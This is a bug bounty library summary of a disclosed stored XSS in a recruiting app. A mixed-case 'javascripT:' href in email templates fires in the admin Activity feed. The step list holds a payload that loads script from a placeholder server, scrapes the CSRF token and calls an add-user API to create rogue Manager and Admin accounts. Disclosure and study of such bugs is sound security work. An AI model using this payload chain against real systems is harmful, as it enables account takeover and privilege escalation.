# Account Takeover via Stored XSS

Stored XSS via mixed-case javascript: href in email templates fired in admin Activity feed, enabling CSRF-token scraping and rogue Manager/Admin account creation.

- Payout: $1,000
- Severity: critical
- Program: -
- Credited: Demon
- Disclosed: 2021-12-09
- Write-up quality: 6/10
- Original: https://www.r29k.com/articles/bb/priv-esc-via-stored-xss
- Library page: https://bugbountylibrary.com/r/blog%3Ar29k-com-articles-bb-priv-esc-via-stored-xss
- Tags: domain:web impact:ato impact:privesc kind:bounty platform:blog sev:critical technique:chained technique:source-review vuln:csrf vuln:xss

**Target:** Email-template editor and Activity feed of a recruiting web app
**Root cause:** Link href validation blocked lowercase `javascript:` but not mixed-case `javascripT:`, and stored templates were echoed raw into the privileged Activity feed, executing the payload.
**Steps:**
1. Create an email template; insert a link with href `javascripT:alert(1)` (case variation bypasses the syntax validator).
2. Select visible body text and attach the malicious link so the href hides behind benign text.
3. Store template; when the echoed email renders in the Activity feed, the payload executes for Managers/Admins.
4. Payload loads remote script: `javascript:var s=document.createElement('script');s.src='https://myserver/file.js';document.head.appendChild(s);`
5. Script GETs `https://target.com/admin/add`, parses `_csrf` token from HTML via DOMParser.
6. Script POSTs to `/api/add.action` with `X-Csrf-Token` header and `credentials:'include'`, body `firstName=hacker&...&Permissions=1`.
7. Log in with the newly created Manager/Admin credentials.
**How found:** Noticed link insertion behaving oddly; standard `javascript:alert()` was rejected by validation, so tried case variations and found `javascripT:` stored. Payload didn't fire in editor/composer, so probed where templates were echoed and found the Activity feed rendered them.
**Exploitation:** Victim privileged user clicks the echoed email in Activity; same-origin script runs with their session, scrapes CSRF token from admin add page, and creates a new privileged user via the add-user API using the victim's cookies.
**Escalation:** Started as Manager-level account creation, then re-ran the same exploit after Admin account unlocked to create an Admin-level user.
**Insight:** When a protocol/href blocklist rejects lowercase `javascript:`, try case permutations and other encodings; then hunt for secondary render sinks (activity feeds, email previews, admin dashboards) where the stored value is echoed into a privileged context rather than the editor itself.
